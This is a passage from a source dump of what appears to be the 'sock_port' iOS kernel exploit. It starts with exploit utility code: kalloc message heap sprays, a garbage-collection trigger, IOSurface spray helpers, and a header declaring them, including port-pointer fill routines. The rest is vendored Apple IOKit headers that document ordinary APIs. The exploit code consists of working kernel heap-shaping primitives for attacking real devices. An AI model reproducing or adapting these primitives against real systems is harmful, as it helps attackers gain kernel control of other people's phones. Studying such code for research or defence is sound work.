    mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
    struct simple_msg *msg = (struct simple_msg *)malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
    memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
    
    for (int i = 0; i < 256; i++) {
        msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
        msg->hdr.msgh_size = msg_size;
        msg->hdr.msgh_remote_port = q;
        msg->hdr.msgh_local_port = MACH_PORT_NULL;
        msg->hdr.msgh_id = 0x41414142;
        
        err = mach_msg(&msg->hdr,
                       MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                       msg_size,
                       0,
                       MACH_PORT_NULL,
                       MACH_MSG_TIMEOUT_NONE,
                       MACH_PORT_NULL);
        
        if (err != KERN_SUCCESS) {
            printf("[-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
            return MACH_PORT_NULL;
        }
    }
    
    return q;
}

// rest is from machswap
void trigger_gc() {
    const int gc_ports_cnt = 100;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };
    
    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);
    
    for (int i = 0; i < gc_ports_cnt; i++) {
        uint64_t t0, t1;
        
        t0 = mach_absolute_time();
        gc_ports[i] = send_kalloc_message(body, body_size);
        t1 = mach_absolute_time();
        
        if (t1 - t0 > 1000000) {
            printf("[+] got gc at %d -- breaking\n", i);
            gc_ports_max = i;
            break;
        }
    }
    
    for (int i = 0; i < gc_ports_max; i++) {
        mach_port_destroy(mach_task_self(), gc_ports[i]);
    }
    
    sched_yield();
    sleep(1);
}

mach_vm_size_t pagesize = 0;

const uint64_t IOSURFACE_CREATE_SURFACE =  0;
const uint64_t IOSURFACE_SET_VALUE      =  9;
const uint64_t IOSURFACE_GET_VALUE      = 10;
const uint64_t IOSURFACE_DELETE_VALUE   = 11;

int init_IOSurface() {
    kern_return_t ret = KERN_SUCCESS;

    ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    printf("[i] page size: 0x%llx, %s\n", pagesize, mach_error_string(ret));
    if (ret != KERN_SUCCESS) {
        printf("[-] failed to get page size! ret: %x %s\n", ret, mach_error_string(ret));
        return ret;
    }
    return !IOSurface_init();
}

void deinit_IOSurface() {
    IOSurface_deinit();
}

int spray_IOSurface(void *data, size_t size) {
    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}


================================================
FILE: sock_port/exploit_utilities.h
================================================
//
//  exploit_utilities.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#ifndef exploit_utilities_h
#define exploit_utilities_h

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <mach/mach.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <sys/utsname.h>

#include "iosurface.h"

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

struct simple_msg {
    mach_msg_header_t hdr;
    char buf[0];
};

size_t message_size_for_kalloc_size(size_t kalloc_size);
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition);
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size);
void trigger_gc(void);

enum {
    kIOCFSerializeToBinary          = 0x00000001U,
};

#define kOSSerializeBinarySignature 0x000000D3U

enum {
    kOSSerializeDictionary          = 0x01000000U,
    kOSSerializeArray               = 0x02000000U,
    kOSSerializeSet                 = 0x03000000U,
    kOSSerializeNumber              = 0x04000000U,
    kOSSerializeSymbol              = 0x08000000U,
    kOSSerializeString              = 0x09000000U,
    kOSSerializeData                = 0x0a000000U,
    kOSSerializeBoolean             = 0x0b000000U,
    kOSSerializeObject              = 0x0c000000U,
    
    kOSSerializeTypeMask            = 0x7F000000U,
    kOSSerializeDataMask            = 0x00FFFFFFU,
    
    kOSSerializeEndCollection       = 0x80000000U,
    
    kOSSerializeMagic               = 0x000000d3U,
};

extern mach_vm_size_t pagesize;

extern const uint64_t IOSURFACE_CREATE_SURFACE;
extern const uint64_t IOSURFACE_SET_VALUE;
extern const uint64_t IOSURFACE_GET_VALUE;
extern const uint64_t IOSURFACE_DELETE_VALUE;

int init_IOSurface(void);
void deinit_IOSurface(void);
int spray_IOSurface(void *data, size_t size);

#endif /* exploit_utilities_h */


================================================
FILE: sock_port/include/IOKit/IOKitKeys.h
================================================
/*
 * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
 * 
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. The rights granted to you under the License
 * may not be used to create, or enable the creation or redistribution of,
 * unlawful or unlicensed copies of an Apple operating system, or to
 * circumvent, violate, or enable the circumvention or violation of, any
 * terms of an Apple operating system software license agreement.
 * 
 * Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this file.
 * 
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 * 
 * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
 */
/*
 * Copyright (c) 1999 Apple Computer, Inc.  All rights reserved. 
 *
 * Common symbol definitions for IOKit. 
 *
 * HISTORY
 *
 */


#ifndef _IOKIT_IOKITKEYS_H
#define _IOKIT_IOKITKEYS_H

// properties found in the registry root
#define kIOKitBuildVersionKey		"IOKitBuildVersion"
#define kIOKitDiagnosticsKey		"IOKitDiagnostics"
	// a dictionary keyed by plane name
#define kIORegistryPlanesKey		"IORegistryPlanes"
#define kIOCatalogueKey			"IOCatalogue"

// registry plane names
#define kIOServicePlane			"IOService"
#define kIOPowerPlane			"IOPower"
#define kIODeviceTreePlane		"IODeviceTree"
#define kIOAudioPlane			"IOAudio"
#define kIOFireWirePlane		"IOFireWire"
#define kIOUSBPlane			"IOUSB"

// registry ID number
#define kIORegistryEntryIDKey		"IORegistryEntryID"

// IOService class name
#define kIOServiceClass			"IOService"

// IOResources class name
#define kIOResourcesClass		"IOResources"

// IOService driver probing property names
#define kIOClassKey			"IOClass"
#define kIOProbeScoreKey		"IOProbeScore"
#define kIOKitDebugKey			"IOKitDebug"

// IOService matching property names
#define kIOProviderClassKey		"IOProviderClass"
#define kIONameMatchKey			"IONameMatch"
#define kIOPropertyMatchKey		"IOPropertyMatch"
#define kIOPathMatchKey			"IOPathMatch"
#define kIOLocationMatchKey		"IOLocationMatch"
#define kIOParentMatchKey		"IOParentMatch"
#define kIOResourceMatchKey		"IOResourceMatch"
#define kIOMatchedServiceCountKey	"IOMatchedServiceCountMatch"

#define kIONameMatchedKey		"IONameMatched"

#define kIOMatchCategoryKey		"IOMatchCategory"
#define kIODefaultMatchCategoryKey	"IODefaultMatchCategory"

// IOService default user client class, for loadable user clients
#define kIOUserClientClassKey		"IOUserClientClass"

// key to find IOMappers
#define kIOMapperIDKey				"IOMapperID"

#define kIOUserClientCrossEndianKey		"IOUserClientCrossEndian"
#define kIOUserClientCrossEndianCompatibleKey	"IOUserClientCrossEndianCompatible"
#define kIOUserClientSharedInstanceKey		"IOUserClientSharedInstance"
// diagnostic string describing the creating task
#define kIOUserClientCreatorKey		"IOUserClientCreator"

// IOService notification types
#define kIOPublishNotification		"IOServicePublish"
#define kIOFirstPublishNotification	"IOServiceFirstPublish"
#define kIOMatchedNotification		"IOServiceMatched"
#define kIOFirstMatchNotification	"IOServiceFirstMatch"
#define kIOTerminatedNotification	"IOServiceTerminate"

// IOService interest notification types
#define kIOGeneralInterest		"IOGeneralInterest"
#define kIOBusyInterest			"IOBusyInterest"
#define kIOAppPowerStateInterest	"IOAppPowerStateInterest"
#define kIOPriorityPowerStateInterest	"IOPriorityPowerStateInterest"

#define kIOPlatformDeviceMessageKey     "IOPlatformDeviceMessage"

// IOService interest notification types
#define kIOCFPlugInTypesKey		"IOCFPlugInTypes"

// properties found in services that implement command pooling
#define kIOCommandPoolSizeKey	       "IOCommandPoolSize"          // (OSNumber)

// properties found in services that have transfer constraints
#define kIOMaximumBlockCountReadKey             "IOMaximumBlockCountRead"             // (OSNumber)
#define kIOMaximumBlockCountWriteKey            "IOMaximumBlockCountWrite"            // (OSNumber)
#define kIOMaximumByteCountReadKey              "IOMaximumByteCountRead"              // (OSNumber)
#define kIOMaximumByteCountWriteKey             "IOMaximumByteCountWrite"             // (OSNumber)
#define kIOMaximumSegmentCountReadKey           "IOMaximumSegmentCountRead"           // (OSNumber)
#define kIOMaximumSegmentCountWriteKey          "IOMaximumSegmentCountWrite"          // (OSNumber)
#define kIOMaximumSegmentByteCountReadKey       "IOMaximumSegmentByteCountRead"       // (OSNumber)
#define kIOMaximumSegmentByteCountWriteKey      "IOMaximumSegmentByteCountWrite"      // (OSNumber)
#define kIOMinimumSegmentAlignmentByteCountKey  "IOMinimumSegmentAlignmentByteCount"  // (OSNumber)
#define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber)

// properties found in services that wish to describe an icon
//
// IOIcon = 
// {
//     CFBundleIdentifier   = "com.example.driver.example";
//     IOBundleResourceFile = "example.icns";
// };
//
// where IOBundleResourceFile is the filename of the resource

#define kIOIconKey               "IOIcon"               // (OSDictionary)
#define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString)

#define kIOBusBadgeKey           "IOBusBadge"           // (OSDictionary)
#define kIODeviceIconKey         "IODeviceIcon"         // (OSDictionary)

// property of root that describes the machine's serial number as a string
#define kIOPlatformSerialNumberKey	"IOPlatformSerialNumber"	// (OSString)

// property of root that describes the machine's UUID as a string
#define kIOPlatformUUIDKey	"IOPlatformUUID"	// (OSString)

// IODTNVRAM property keys
#define kIONVRAMDeletePropertyKey	"IONVRAM-DELETE-PROPERTY"
#define kIODTNVRAMPanicInfoKey		"aapl,panic-info"

// keys for complex boot information
#define kIOBootDeviceKey          "IOBootDevice"		// dict | array of dicts
#define kIOBootDevicePathKey      "IOBootDevicePath"	// arch-neutral OSString
#define kIOBootDeviceSizeKey      "IOBootDeviceSize"	// OSNumber of bytes

// keys for OS Version information
#define kOSBuildVersionKey		"OS Build Version"

#endif /* ! _IOKIT_IOKITKEYS_H */


================================================
FILE: sock_port/include/IOKit/IOKitLib.h
================================================
/*
 * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_LICENSE_HEADER_START@
 * 
 * The contents of this file constitute Original Code as defined in and
 * are subject to the Apple Public Source License Version 1.1 (the
 * "License").  You may not use this file except in compliance with the
 * License.  Please obtain a copy of the License at
 * http://www.apple.com/publicsource and read it before using this file.
 * 
 * This Original Code and all software distributed under the License are
 * distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT.  Please see the
 * License for the specific language governing rights and limitations
 * under the License.
 * 
 * @APPLE_LICENSE_HEADER_END@
 */
/*
 * HISTORY
 *
 */

/*
 * IOKit user library
 */

#ifndef _IOKIT_IOKITLIB_H
#define _IOKIT_IOKITLIB_H

#ifdef KERNEL
#error This file is not for kernel use
#endif

#include <sys/cdefs.h>
#include <sys/types.h>

#include <mach/mach_types.h>
#include <mach/mach_init.h>

#include <CoreFoundation/CFBase.h>
#include <CoreFoundation/CFDictionary.h>
#include <CoreFoundation/CFRunLoop.h>

#include "IOTypes.h"
#include "IOKitKeys.h"

#include "OSMessageNotification.h"

#include <AvailabilityMacros.h>

__BEGIN_DECLS

/*! @header IOKitLib
IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.<br>
IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents.
IOKit objects returned by all functions should be released with IOObjectRelease.
*/
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

typedef struct IONotificationPort * IONotificationPortRef;


/*! @typedef IOServiceMatchingCallback
    @abstract Callback function to be notified of IOService publication.
    @param refcon The refcon passed when the notification was installed.
    @param iterator The notification iterator which now has new objects.
*/
typedef void
(*IOServiceMatchingCallback)(
	void *			refcon,
	io_iterator_t		iterator );

/*! @typedef IOServiceInterestCallback
    @abstract Callback function to be notified of changes in state of an IOService.
    @param refcon The refcon passed when the notification was installed.
    @param service The IOService whose state has changed.
    @param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family.
    @param messageArgument An argument for the message, dependent on the messageType.
*/

typedef void
(*IOServiceInterestCallback)(
	void *			refcon,
	io_service_t		service,
	uint32_t		messageType,
	void *			messageArgument );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*! @const kIOMasterPortDefault
    @abstract The default mach port used to initiate communication with IOKit.
    @discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant.
*/

extern
const mach_port_t kIOMasterPortDefault;

/*! @function IOMasterPort
    @abstract Returns the mach port used to initiate communication with IOKit.
    @discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port.
    @param bootstrapPort Pass MACH_PORT_NULL for the default.
    @param masterPort The master port is returned.
    @result A kern_return_t error code. */

kern_return_t
IOMasterPort( mach_port_t	bootstrapPort,
	      mach_port_t *	masterPort );


/*! @function IONotificationPortCreate
    @abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes.
    @discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @result A reference to the notification object. */

IONotificationPortRef
IONotificationPortCreate(
	mach_port_t		masterPort );

/*! @function IONotificationPortDestroy
    @abstract Destroys a notification object created with IONotificationPortCreate.
    @param notify A reference to the notification object. */

void
IONotificationPortDestroy(
	IONotificationPortRef	notify );

/*! @function IONotificationPortGetRunLoopSource
    @abstract Returns a CFRunLoopSource to be used to listen for notifications.
    @discussion A notification object may deliver notifications to a CFRunLoop client by adding the run loop source returned by this function to the run loop.
    @param notify The notification object.
    @result A CFRunLoopSourceRef for the notification object. */

CFRunLoopSourceRef
IONotificationPortGetRunLoopSource(
	IONotificationPortRef	notify );

/*! @function IONotificationPortGetMachPort
    @abstract Returns a mach_port to be used to listen for notifications.
    @discussion A notification object may deliver notifications to a mach messaging client if they listen for messages on the port obtained from this function. Callbacks associated with the notifications may be delivered by calling IODispatchCalloutFromMessage with messages received 
    @param notify The notification object.
    @result A mach_port for the notification object. */

mach_port_t
IONotificationPortGetMachPort(
	IONotificationPortRef	notify );

/*! @function IODispatchCalloutFromMessage
    @abstract Dispatches callback notifications from a mach message.
    @discussion A notification object may deliver notifications to a mach messaging client, which should call this function to generate the callbacks associated with the notifications arriving on the port.
    @param unused Not used, set to zero.
    @param msg A pointer to the message received.
    @param reference Pass the IONotificationPortRef for the object. */

void
IODispatchCalloutFromMessage(
        void 			*unused,
        mach_msg_header_t	*msg,
        void			*reference );

/*! @function IOCreateReceivePort
    @abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type.
    @discussion In the future IOKit may use specialized messages and ports
    instead of the standard ports created by mach_port_allocate(). Use this
    function instead of mach_port_allocate() to ensure compatibility with future
    revisions of IOKit.
    @param msgType Type of message to be sent to this port
    (kOSNotificationMessageID or kOSAsyncCompleteMessageID)
    @param recvPort The created port is returned.
    @result A kern_return_t error code. */

kern_return_t
IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IOObject
 */

/*! @function IOObjectRelease
    @abstract Releases an object handle previously returned by IOKitLib.
    @discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel.
    @param object The IOKit object to release.
    @result A kern_return_t error code. */

kern_return_t
IOObjectRelease(
	io_object_t	object );

/*! @function IOObjectRetain
    @abstract Retains an object handle previously returned by IOKitLib.
    @discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib.
    @param object The IOKit object to retain.
    @result A kern_return_t error code. */

kern_return_t
IOObjectRetain(
	io_object_t	object );

/*! @function IOObjectGetClass
    @abstract Return the class name of an IOKit object.
    @discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of.
    @param object The IOKit object.
    @param className Caller allocated buffer to receive the name string.
    @result A kern_return_t error code. */

kern_return_t
IOObjectGetClass(
	io_object_t	object,
	io_name_t	className );
	
/*! @function CFStringRef IOObjectCopyClass
    @abstract Return the class name of an IOKit object.
	@discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef.
	@param object The IOKit object.
	@result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/
	
CFStringRef 
IOObjectCopyClass(io_object_t object)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;

/*! @function CFStringRef IOObjectCopySuperclassForClass
    @abstract Return the superclass name of the given class.
    @discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class.
	@param classname The name of the class as a CFString.
	@result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/

CFStringRef 
IOObjectCopySuperclassForClass(CFStringRef classname)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;

/*! @function CFStringRef IOObjectCopyBundleIdentifierForClass
    @abstract Return the bundle identifier of the given class.
	@discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier.
	@param classname The name of the class as a CFString.
	@result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/

CFStringRef 
IOObjectCopyBundleIdentifierForClass(CFStringRef classname)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;

/*! @function IOObjectConformsTo
    @abstract Performs an OSDynamicCast operation on an IOKit object.
    @discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass.
    @param object An IOKit object.
    @param className The name of the class, as a C-string.
    @result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */

boolean_t
IOObjectConformsTo(
	io_object_t	object,
	const io_name_t	className );

/*! @function IOObjectIsEqualTo
    @abstract Checks two object handles to see if they represent the same kernel object.
    @discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object.
    @param object An IOKit object.
    @param anObject Another IOKit object.
    @result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */

boolean_t
IOObjectIsEqualTo(
	io_object_t	object,
	io_object_t	anObject );

/*! @function IOObjectGetRetainCount
    @abstract Returns kernel retain count of an IOKit object.
    @discussion This function may be used in diagnostics to determine the current retain count of the kernel object.
    @param object An IOKit object.
    @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */

uint32_t
IOObjectGetRetainCount(
	io_object_t	object );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IOIterator, subclass of IOObject
 */

/*! @function IOIteratorNext
    @abstract Returns the next object in an iteration.
    @discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid.
    @param iterator An IOKit iterator handle.
    @result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */

io_object_t
IOIteratorNext(
	io_iterator_t	iterator );

/*! @function IOIteratorReset
    @abstract Resets an iteration back to the beginning.
    @discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning.
    @param iterator An IOKit iterator handle. */

void
IOIteratorReset(
	io_iterator_t	iterator );

/*! @function IOIteratorIsValid
    @abstract Checks an iterator is still valid.
    @discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted.
    @param iterator An IOKit iterator handle.
    @result True if the iterator handle is valid, otherwise false is returned. */

boolean_t
IOIteratorIsValid(
	io_iterator_t	iterator );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IOService, subclass of IORegistryEntry
 */

/*!
    @function IOServiceGetMatchingService
    @abstract Look up a registered IOService object that matches a matching dictionary.
    @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching.
    @result The first service matched is returned on success. The service must be released by the caller.
  */

io_service_t
IOServiceGetMatchingService(
	mach_port_t	masterPort,
	CFDictionaryRef	matching );

/*! @function IOServiceGetMatchingServices
    @abstract Look up registered IOService objects that match a matching dictionary.
    @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching.
    @param existing An iterator handle is returned on success, and should be released by the caller when the iteration is finished.
    @result A kern_return_t error code. */

kern_return_t
IOServiceGetMatchingServices(
	mach_port_t	masterPort,
	CFDictionaryRef	matching,
	io_iterator_t * existing );


kern_return_t
IOServiceAddNotification(
	mach_port_t	masterPort,
	const io_name_t	notificationType,
	CFDictionaryRef	matching,
	mach_port_t	wakePort,
	uintptr_t	reference,
	io_iterator_t *	notification )  DEPRECATED_ATTRIBUTE;

/*! @function IOServiceAddMatchingNotification
    @abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match.
    @discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
    @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate.
    @param notificationType A notification type from IOKitKeys.h
<br>	kIOPublishNotification Delivered when an IOService is registered.
<br>	kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
<br>	kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started.
<br>	kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
<br>	kIOTerminatedNotification Delivered after an IOService has been terminated.
    @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching.
    @param callback A callback function called when the notification fires.
    @param refCon A reference constant for the callbacks use.
    @param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created.
    @result A kern_return_t error code. */

kern_return_t
IOServiceAddMatchingNotification(
	IONotificationPortRef	notifyPort,
	const io_name_t		notificationType,
	CFDictionaryRef		matching,
        IOServiceMatchingCallback callback,
        void *			refCon,
	io_iterator_t * 	notification );

/*! @function IOServiceAddInterestNotification
    @abstract Register for notification of state changes in an IOService.
    @discussion IOService objects deliver notifications of their state changes to their clients via the IOService::message API, and to other interested parties including callers of this function. Message type s are defined IOKit/IOMessage.h.
    @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate.
    @param interestType A notification type from IOKitKeys.h
<br>	kIOGeneralInterest General state changes delivered via the IOService::message API.
<br>	kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification.
    @param callback A callback function called when the notification fires, with messageType and messageArgument for the state change.
    @param refCon A reference constant for the callbacks use.
    @param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed.
    @result A kern_return_t error code. */

kern_return_t
IOServiceAddInterestNotification(
	IONotificationPortRef	notifyPort,
        io_service_t		service,
	const io_name_t 	interestType,
        IOServiceInterestCallback callback,
        void *			refCon,
        io_object_t *		notification );

/*! @function IOServiceMatchPropertyTable
    @abstract Match an IOService objects with matching dictionary.
    @discussion This function calls the matching method of an IOService object and returns the boolean result.
    @param service The IOService object to match.
    @param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching.
    @param matches The boolean result is returned.
    @result A kern_return_t error code. */

kern_return_t
IOServiceMatchPropertyTable(
        io_service_t	service,
        CFDictionaryRef matching,
        boolean_t *	matches );

/*! @function IOServiceGetBusyState
    @abstract Returns the busyState of an IOService.
    @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients.
    @param service The IOService whose busyState to return.
    @param busyState The busyState count is returned.
    @result A kern_return_t error code. */

kern_return_t
IOServiceGetBusyState(
	io_service_t    service,
	uint32_t *	busyState );

/*! @function IOServiceWaitQuiet
    @abstract Wait for an IOService's busyState to be zero.
    @discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState.
    @param service The IOService wait on.
    @param waitTime Specifies a maximum time to wait.
    @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */

kern_return_t
IOServiceWaitQuiet(
	io_service_t      service,
	mach_timespec_t * waitTime );

/*! @function IOKitGetBusyState
    @abstract Returns the busyState of all IOServices.
    @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param busyState The busyState count is returned.
    @result A kern_return_t error code. */

kern_return_t
IOKitGetBusyState(
	mach_port_t	masterPort,
	uint32_t *	busyState );

/*! @function IOKitWaitQuiet
    @abstract Wait for a all IOServices' busyState to be zero.
    @discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param waitTime Specifies a maximum time to wait.
    @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */

kern_return_t
IOKitWaitQuiet(
	mach_port_t	  masterPort,
	mach_timespec_t * waitTime );

/*! @function IOServiceOpen
    @abstract A request to create a connection to an IOService.
    @discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported.
    @param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs.
    @param owningTask The mach task requesting the connection.
    @param type A constant specifying the type of connection to be created,  interpreted only by the IOService's family.
    @param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose().
    @result A return code generated by IOService::newUserClient. */

kern_return_t
IOServiceOpen(
	io_service_t    service,
	task_port_t	owningTask,
	uint32_t	type,
	io_connect_t  *	connect );

